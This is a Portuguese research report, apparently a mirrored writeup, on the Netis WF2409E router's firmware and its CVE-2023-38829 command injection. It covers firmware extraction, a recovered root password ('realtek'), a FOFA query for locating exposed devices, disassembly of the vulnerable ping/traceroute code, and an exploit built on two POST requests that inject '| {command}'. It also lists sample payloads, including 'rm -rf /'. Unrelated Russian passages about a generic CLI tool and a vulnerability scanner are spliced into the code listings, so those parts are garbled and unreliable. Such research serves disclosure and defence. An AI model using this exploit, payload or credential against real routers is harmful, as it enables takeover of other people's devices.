Relatório do dispositivo Netis WF2409E

1. Visão geral do dispositivo

1.1 Tabela de especificações principais

1.2 Tabela de verificação de funcionamento

1.3 Principais componentes do sistema

2. Investigação dos contatos

2.1 Conexão ao dispositivo via porta serial

3. Log de inicialização, comandos do bootloader e SO

3.1 Análise do log de inicialização

Características do processador

Características da memória Flash

Informações do bootloader

Configurações de rede padrão

Informações do software do sistema

Estado dos serviços

É importante notar que este dispositivo provavelmente não usa U-Boot. Principais indícios:

1. O log começa diretamente com informações de inicialização do RealTek: ---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/master/380MHz)
2. Ausência de sinais típicos de inicialização do U-Boot:

• Nenhuma informação sobre a versão do U-Boot
• Nenhuma informação sobre a inicialização das variáveis de ambiente do U-Boot
• Nenhum prompt de linha de comando do U-Boot

3. O RTL8196E é um chip de roteador de baixo custo da RealTek, e muitos dispositivos baseados nele usam o bootloader proprietário da RealTek em vez do U-Boot.
4. Considerando o pequeno tamanho da memória Flash (4MB), o uso de um bootloader leve é mais lógico. Na verdade, não foi possível encontrar uma maneira de entrar no U-Boot.

3.2 Análise do bootloader

Para entrar no bootloader, é necessário manter pressionada a tecla Esc durante a inicialização:

Conjunto completo de comandos do bootloader RealTek

Exemplo de leitura de memória:

Comandos do Bootloader :

<RealTek> FLR 80000000 0 100 #Leitura da Flash DB 80000000 100 #Visualização do conteúdo da memória

3.3 Análise do ambiente Shell

Comandos básicos do Shell

Estrutura detalhada dos diretórios do sistema (/bin — ferramentas importantes)

Informações principais do diretório /proc

Lista de processos:

3.4 Descrição dos principais componentes de hardware

4. Análise das informações dos pontos de montagem

4.1 Obtenção das informações de montagem das partições

4.2 Três pontos de montagem principais foram definidos no sistema:

• /dev/mtdblock1 montado como diretório raiz /
• none montado como sistema de arquivos de processos /proc
• tmpfs montado como sistema de arquivos temporário /var

Análise detalhada

4.2.1. Sistema de arquivos raiz

O sistema de arquivos raiz está configurado da seguinte forma:

• Dispositivo: /dev/mtdblock1
• Tipo de sistema de arquivos: squashfs
• Opções de montagem: somente leitura (ro)
• Função: armazenamento de arquivos e programas do sistema

Isso indica o uso de memória flash MTD como meio de armazenamento, com os arquivos do sistema protegidos e otimizados em volume usando somente leitura e compressão squashfs.

4.2.2 Sistema de arquivos de processos

O sistema de arquivos de processos está configurado da seguinte forma:

• Dispositivo: none (sistema de arquivos virtual)
• Tipo de sistema de arquivos: proc
• Opções de montagem: leitura-escrita (rw)
• Função: fornecer uma interface para acessar informações do sistema e processos

4.2.3 Sistema de arquivos temporário

O sistema de arquivos temporário está configurado da seguinte forma:

• Dispositivo: tmpfs (sistema de arquivos em memória)
• Ponto de montagem: /var
• Limite de tamanho: 230 KB
• Opções de montagem: leitura-escrita (rw)
• Função: armazenamento de arquivos temporários e dados durante a operação

4.2.4 Foi descoberto que a maioria dos comandos no sistema está ausente

5. Estrutura e formato do firmware

5.1 Obtenção do firmware "netis.bin"

5.2 Realização da análise de entropia:

binwalk -E --save netis.bin

5.3 Análise de cabeçalhos:

binwalk netis.bin

5.4 Para realizar a descompactação, são usados os argumentos –reM.

E obter:

5.5 Tabela de resultados da análise

Deslocamento	Cabeçalho da partição
0x12F0
0x32818

6. Sistema de arquivos após descompactação do firmware

6.1 Sistema de arquivos após descompactação:

6.2 Alguns documentos importantes

6.2.1 etc/passwd:

Usando o serviço de descriptografia de hashes https://hashes.com/en/decrypt/hash, a senha do root foi recuperada com sucesso como realtek.

6.2.2 web/welcome.htm:

Esta é a página da interface web padrão

7. Marcadores, impressão digital para FOFA, estatísticas

Pesquisa de dispositivos no FOFA através de características no web/welcome.htm:

Comandos de pesquisa: body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"

Para acessar o painel de administração do dispositivo, pode ser necessária autenticação com login e senha

Após autenticação bem-sucedida, é possível entrar no painel de administração

8. Script de identificação

Primeiro, usando o comando ~/squashfs-root/web$ find, foram encontrados os diretórios disponíveis e, usando o Burpsuit, foi verificada sua acessibilidade:| | Payload | Code | | Lenth | | ------ | ------------------------------- | ------- | ----- | --------- | | 1 | /cgi-bin | 200 | | 167 | | 2 | /cgi-bin/cgitest.cgi | - | ERROR | - | | 3 | /script | 200 | | 168 | | 4 | /script/init.js | 200 | | 1282 | | 5 | /script/logic.js | 200 | | 65677 | | 6 | /script/menu.js | 200 | | 4976 | | 7 | /script/netcore.js | 200 | | 151935 | | 8 | /script/action.js | 200 | | 182624 | | 9 | /script/debug.js | 200 | | 28570 | | ==10== | ==/version.txt== | ==200== | | ==206== | | ==11== | ==/update.htm== | ==200== | | ==1230== | | 12 | /config | 200 | | 168 | | 13 | /config/language_es.js | 200 | | 79333 | | 14 | /config/language_it.js | 200 | | 76802 | | 15 | /config/language_id.js | 200 | | 74795 | | 16 | /config/language_du.js | 200 | | 78782 | | 17 | /config/language_ma.js | 200 | | 73594 | | 18 | /config/language_po.js | 200 | | 76458 | | 19 | /config/language_tu.js | 200 | | 77747 | | 20 | /config/language_fr.js | 200 | | 78165 | | 21 | /config/language_ro.js | 200 | | 73621 | | 22 | /config/language_cz.js | 200 | | 75968 | | 23 | /config/language_ua.js | 200 | | 98335 | | 24 | /config/language_us.js | 200 | | 84173 | | 25 | /config/config.js | 200 | | 75899 | | 26 | /config/language_ru.js | 200 | | 108998 | | 27 | /config/language_de.js | 200 | | 78674 | | 28 | /config/language_pt.js | 200 | | 77954 | | 29 | /config/language_cn.js | 200 | | 62001 | | 30 | /config/language_tc.js | 200 | | 74268 | | 31 | /system_log.txt | 404 | | 330 | | ==32== | ==/index.htm== | ==200== | | ==4336== | | 33 | /css | 200 | | 167 | | 34 | /css/style.css | 200 | | 5441 | | 35 | /css/netcore.css | 200 | | 11536 | | 36 | /css/welcome.css | 200 | | 6270 | | 37 | /Config.tgz | 404 | | 326 | | 38 | /images | 200 | | 168 | | 39 | /images/first.png | 200 | | 838 | | 40 | /images/icon_no.gif | 200 | | 240 | | 41 | /images/top_right_bg.gif | 200 | | 222 | | 42 | /images/logo_netis.png | 200 | | 7297 | | 43 | /images/icon_jian.gif | 200 | | 239 | | 44 | /images/show_pwd.png | 200 | | 1433 | | 45 | /images/icon_no1.gif | 200 | | 498 | | 46 | /images/nextt.png | 200 | | 1026 | | 47 | /images/lastt.png | 200 | | 845 | | 48 | /images/icon_intro_internet.gif | 200 | | 6994 | | 49 | /images/help_b1.gif | 200 | | 540 | | 50 | /images/high.gif | 200 | | 10846 | | 51 | /images/yandex_en.png | 200 | | 3519 | | 52 | /images/help_b1.jpg | 200 | | 620 | | 53 | /images/back.gif | 200 | | 379 | | 54 | /images/icon_intro_wireless.jpg | 200 | | 3838 | | 55 | /images/icon_jian1.gif | 200 | | 490 | | 56 | /images/left_021.jpg | 200 | | 558 | | 57 | /images/edit.gif | 200 | | 365 | | 58 | /images/pre.png | 200 | | 1029 | | 59 | /images/btn_mobile_setup.jpg | 200 | | 3053 | | 60 | /images/icon_now.gif | 200 | | 242 | | 61 | /images/top_right_bg.jpg | 200 | | 223 | | 62 | /images/bg_intro_bottom.png | 200 | | 3562 | | 63 | /images/favicon.ico | 200 | | 4458 | | 64 | /images/btn_quick_setup.jpg | 200 | | 4353 | | 65 | /images/bg_intro_top.png | 200 | | 3605 | | 66 | /images/mt-link.gif | 200 | | 5823 | | 67 | /images/link.gif | 200 | | 1045 | | 68 | /images/del.gif | 200 | | 313 | | ==69== | ==/images/Makefile== | ==200== | | ==593== | | 70 | /images/icon_jia1.gif | 200 | | 490 | | 71 | /images/blue.jpg | 200 | | 2584 | | 72 | /images/normal.gif | 200 | | 10818 | | 73 | /images/yandex.png | 200 | | 2159 | | 74 | /images/bg_leftmenu.gif | 200 | | 686 | | 75 | /images/icon_jia.gif | 200 | | 252 | | 76 | /images/icon_now1.gif | 200 | | 487 | | ==77== | ==/welcome.htm== | ==200== | | ==30155== | | ==78== | ==/index.html== | ==200== | | ==326== | | 79 | /help | 200 | | 166 | | ==80== | ==/backup.htm== | ==200== | | ==1304== |

Potenciais locais de informações:

Após a verificação, podemos encontrar no arquivo ==/version.txt== as seguintes informações:

• Versão do firmware (firmware version)
• Data de compilação (build date)
• Informações sobre o servidor Boa (obtidas do campo Server no cabeçalho de resposta HTTP)

A extração dessas informações foi implementada com um script Python:

9. Lista de vulnerabilidades com CVSS

9.1 Lista de vulnerabilidades

Atualmente, as seguintes vulnerabilidades foram encontradas neste dispositivo. A vulnerabilidade CVE-2023-38829 é uma vulnerabilidade de injeção de comandos existente no módulo de teste de rede do roteador NETIS SYSTEMS Router WF2409E nas funções ping e traceroute. Através da interface web de gerenciamento é possível injetar comandos maliciosos nos parâmetros dessas funções, resultando na execução de comandos.

9.2 Verificação da vulnerabilidade

Para verificar a presença dessa vulnerabilidade, entrei no painel de controle do roteador e testei a vulnerabilidade nas funções ping e traceroute. Aqui injetei o comando cd && ls && cd etc/ && cat passwd, que exibiu o conteúdo do arquivo de senhas.

Abaixo está a saída do painel de controle do roteador após a injeção do comando, confirmando a presença da vulnerabilidade.

9.3 Avaliação da vulnerabilidade pelo sistema CVSS

Análise CVSS 3.1 das vulnerabilidades de injeção de comandos encontradas:

1. Avaliação das métricas base:

   • Vetor de ataque (AV): Rede (N), pois é possível exploração remota
   • Complexidade do ataque (AC): Baixa (L), pois requer apenas o envio de uma solicitação HTTP
   • Privilégios necessários (PR): Baixos (L), requer privilégios básicos de usuário (autenticação na interface administrativa do dispositivo)
   • Interação do usuário (UI): Nenhuma (N), não requer ação do usuário
   • Escopo (S): Modificado (C), pode afetar outros dispositivos conectados ao roteador

2. Métricas de impacto:

   • Impacto na confidencialidade (C): Alto (H), possível obter acesso total ao sistema
   • Impacto na integridade (I): Alto (H), possível modificar qualquer arquivo do sistema
   • Impacto na disponibilidade (A): Alto (H), possível afetar o funcionamento do dispositivo

3. Métricas temporais:
   • Maturidade do exploit (E): Exploit funcional existente (F)
   • Nível de correção (RL): Correção oficial (O)
   • Confiabilidade do relatório (RC): Confirmado (C)

Pontuação final: 9.2/10 pontos, classificada como "crítica". CVSS-Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

Essa alta pontuação de vulnerabilidade se deve aos seguintes motivos:

• Possibilidade de exploração remota sem condições especiais
• Possibilidade de obter privilégios root sem autenticação
• Impacto total na segurança do sistema
• Simplicidade de exploração da vulnerabilidade

10. Análise de vulnerabilidade fraca (BO ou CI)

Vamos primeiro encontrar os arquivos que podem conter vulnerabilidades: find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi

Eu suponho que as vulnerabilidades podem se manifestar em programas CGI, então inicialmente tentarei analisar o arquivo ./web/cgi-bin/cgitest.cgi com o IDA Pro.

Primeiro, é necessário encontrar locais de chamada de funções semelhantes. Através da busca foi possível encontrar a string "killall ping". Ao analisar o local da chamada, pode-se ver que o programa, após inicializar as funções ping e traceroute, chama /bin/network_test.sh

E o local onde se encontra a vulnerabilidade está justamente no módulo de teste de rede. Ok, precisamos analisar /bin/network_test.sh.

Análise do network_test.sh

Inicialmente, é necessário realizar uma busca.

Encontramos a função network_test_sh: ......

Ao analisar detalhadamente a função, é possível encontrar os módulos de execução de comandos e salvamento de resultados.

Neles: Execução do comando ping: ping -c %d -s %d %s -W %d > %s &

• Parâmetros do ping:
  • -c: número de pings
  • -s: tamanho do pacote de dados (menos 8 bytes)
  • -W: tempo de espera
  • endereço IP alvo da configuração

Execução do comando traceroute: traceroute -I -m %d %s > %s &

• Parâmetros do traceroute:
  • -I: uso do protocolo ICMP
  • -m: número máximo de saltos
  • endereço IP alvo da configuração

Análise detalhada da vulnerabilidade

# Ситуация с командой ping
loc_4205B8:
lw v0, 0x108+var\_D4(sp) #прямая загрузка параметров
lw a3, 0x108+var\_D8(sp)
la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf
```
Aqui você encontrará uma lista completa de opções comuns para todos os utilitários, bem como uma lista de opções para cada ferramenta específica. Abaixo está a tradução das opções padrão:

| Опция | Сокращение | Описание |
|-------|------------|----------|
| `--help` | `-h` | Показать справочное сообщение и выйти |
| `--version` | `-V` | Показать версию программы и выйти |
| `--verbose` | `-v` | Включить подробный вывод (можно указывать несколько раз) |
| `--quiet` | `-q` | Подавить вывод, кроме ошибок |
| `--output <file>` | `-o <file>` | Записать вывод в указанный файл |
| `--config <file>` | `-c <file>` | Использовать указанный конфигурационный файл |

```bash
# Пример использования общих опций
tool_name --verbose --output result.txt input_data.csv
```

Для получения дополнительной информации о конкретных опциях обратитесь к документации соответствующего инструмента.```
# Ситуация с командой traceroute
loc_420574:
la $t9, sprintf #также прямой вызов sprintf
lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров
```
Давайте рассмотрим основные функции:

* **Автоматическое обнаружение** - инструмент может автоматически обнаруживать уязвимости в веб-приложениях.
* **Поддержка различных типов атак** - поддерживает SQL injection, XSS, LFI, RFI и другие.
* **Модульная архитектура** - легко добавлять новые модули для специфических задач.
* **Генерация отчетов** - создает подробные отчеты в форматах HTML, PDF и JSON.
* **Интеграция с CI/CD** - может быть встроен в пайплайны непрерывной интеграции.

Для начала работы выполните команду:

```bash
python3 tool.py --target example.com --mode fast
```

Для более детального сканирования используйте режим `full`:

```bash
python3 tool.py --target example.com --mode full

После построения команды происходит прямое выполнение

la $t9, run_by_system jalr $t9 ; run_by_system #прямой вызов system для выполнения команды move $a0, $s1 #отсутствуют проверки безопасности

![](https://assets.kitploit.com/production/public/readmes/21494/1e9088ba6dfbbf334108926751cc5cf1245a23972df7ce3d48d323b46c27c015.png)

O código não possui validação suficiente dos parâmetros de entrada, o que cria um risco potencial de injeção de comandos. Um atacante pode controlar o parâmetro IP transmitido para executar comandos shell, por exemplo:```
# Нормальный ввод 192.168.0.1

# Примеры вредоносного ввода
192.168.0.1; rm -rf / #удаление файлов
192.168.0.1 & id & #выполнение произвольных команд

11. Script de exploração

11.1. Visão geral do script

Este script utiliza a vulnerabilidade de injeção de comandos na interface web do dispositivo para executar comandos remotamente, criando requisições HTTP especiais. O script realiza a exploração da vulnerabilidade através de duas requisições HTTP POST: a primeira injeta o comando, a segunda obtém o resultado da execução.

O primeiro pacote (netcore_set.cgi) é destinado a: injeção e execução do comando

O segundo pacote (netcore_get.cgi) é destinado a: obter o resultado da execução do comando

11.2 Primeira etapa: injeção do comando

1. Formação do corpo da requisição POST com os seguintes parâmetros chave:``` { "mode_name": "netcore_set", "tools_type": "2", "tools_ip_url": f"| {command}", # точка инъекции команды "tools_cmd": "1", "net_tools_set": "1" }

2. Codificação URL de todos os parâmetros
3. Envio de requisição POST para netcore_set.cgi

### 11.3 Segunda Etapa: obtenção de resultados

1. Formação da segunda requisição POST:```
	{ "mode_name": "netcore_get",    
	  "noneed": "noneed" }

2. Enviar requisição para netcore_get.cgi
3. Analisar o campo tools_results na resposta para obter o resultado da execução do comando

11.4 Testando scripts

Para testar o script, criei um arquivo ceshi no host e tentei carregá-lo no dispositivo através do script

Sucesso!

Na verdade, esta vulnerabilidade permite obter controle total sobre o dispositivo, pois o dispositivo usa acesso root por padrão